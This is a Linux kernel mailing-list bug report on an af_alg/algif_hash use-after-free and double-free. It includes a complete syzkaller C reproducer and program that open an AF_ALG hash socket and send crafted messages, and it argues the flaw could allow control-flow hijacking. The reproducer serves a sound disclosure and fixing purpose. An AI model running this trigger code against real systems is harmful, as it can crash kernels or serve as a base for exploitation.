Hi,Shigeru and Herbert. Happy New Year anyway. I also found this bug and tried to reproduce it. My own syzkaller crashes titled "double-free in af_alg_free_sg” or “KASAN: use-after-free in af_alg_free_sg” lead me to consider it maybe a security-related problem. I reproduced it with repro.c and repro.txt and also bisection to this commit: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/crypto/algif_hash.c?id=b6d972f6898308fbe7e693bf8d44ebfdb1cd2dc4 =* repro.c =* // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul); intptr_t res = 0; res = syscall(__NR_socket, /*domain=*/0x26ul, /*type=*/5ul, /*proto=*/0); if (res != -1) r[0] = res; *(uint16_t*)0x20000040 = 0x26; memcpy((void*)0x20000042, "hash\000\000\000\000\000\000\000\000\000\000", 14); *(uint32_t*)0x20000050 = 0; *(uint32_t*)0x20000054 = 0; memcpy((void*)0x20000058, "poly1305\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\000\000\000\000\000", 64); syscall(__NR_bind, /*fd=*/r[0], /*addr=*/0x20000040ul, /*addrlen=*/0x58ul); res = syscall(__NR_accept4, /*fd=*/r[0], /*peer=*/0ul, /*peerlen=*/0ul, /*flags=*/0ul); if (res != -1) r[1] = res; *(uint64_t*)0x20000d80 = 0; *(uint32_t*)0x20000d88 = 0; *(uint64_t*)0x20000d90 = 0x20000d40; *(uint64_t*)0x20000d40 = 0x20000d00; *(uint16_t*)0x20000d00 = 0; *(uint64_t*)0x20000d48 = 0x14; *(uint64_t*)0x20000d98 = 1; *(uint64_t*)0x20000da0 = 0; *(uint64_t*)0x20000da8 = 0; *(uint32_t*)0x20000db0 = 0; syscall(__NR_sendmsg, /*fd=*/r[1], /*msg=*/0x20000d80ul, /*f=*/0x400c000ul); res = syscall(__NR_accept4, /*fd=*/r[1], /*peer=*/0ul, /*peerlen=*/0ul, /*flags=*/0ul); if (res != -1) r[2] = res; *(uint64_t*)0x20000840 = 0; *(uint32_t*)0x20000848 = 0; *(uint64_t*)0x20000850 = 0; *(uint64_t*)0x20000858 = 0; *(uint64_t*)0x20000860 = 0; *(uint64_t*)0x20000868 = 0; *(uint32_t*)0x20000870 = 0x4000; syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x20000840ul, /*f=*/0x4001ul); return 0; } =* repro.txt =* r0 = socket$alg(0x26, 0x5, 0x0) bind$alg(r0, &(0x7f0000000040)={0x26, 'hash\x00', 0x0, 0x0, 'poly1305\x00'}, 0x58) r1 = accept4(r0, 0x0, 0x0, 0x0) sendmsg$BATADV_CMD_SET_HARDIF(r1, &(0x7f0000000d80)={0x0, 0x0, &(0x7f0000000d40)={&(0x7f0000000d00)=ANY=[@ANYBLOB, @ANYRES16=0x0, @ANYBLOB], 0x14}}, 0x400c000) r2 = accept4(r1, 0x0, 0x0, 0x0) sendmsg$alg(r2, &(0x7f0000000840)={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4000}, 0x4001) After analysing the uninitialized of ctx->sgl, it may cause (without KMSAN in linux kernel) void af_alg_free_sg(struct af_alg_sgl *sgl) { int i; if (sgl->sgt.sgl) { if (sgl->need_unpin) for (i = 0; i < sgl->sgt.nents; i++) unpin_user_page(sg_page(&sgl->sgt.sgl[i])); if (sgl->sgt.sgl != sgl->sgl) kvfree(sgl->sgt.sgl); sgl->sgt.sgl = NULL; } } 1. If sgl->sgt.sgl is 0x0, the poc triggers nothing 2. If sgl->sgt.sgl is not null but like 0xbbbbbbbbbbbbbbbb, unpin_user_page will crash like “wild-memory access”. 3. If sgl->sgt.sgl happens to be a pointer whether it is being used or released, sgl->sgt.nents<0, kvfree can definitely cause uaf or double free and maybe lead to control flow hijacking. The incorrect logic of unlock_free label can really cause security issues. I hope the reproducer and analysis helps. Best regards. xingwei Lee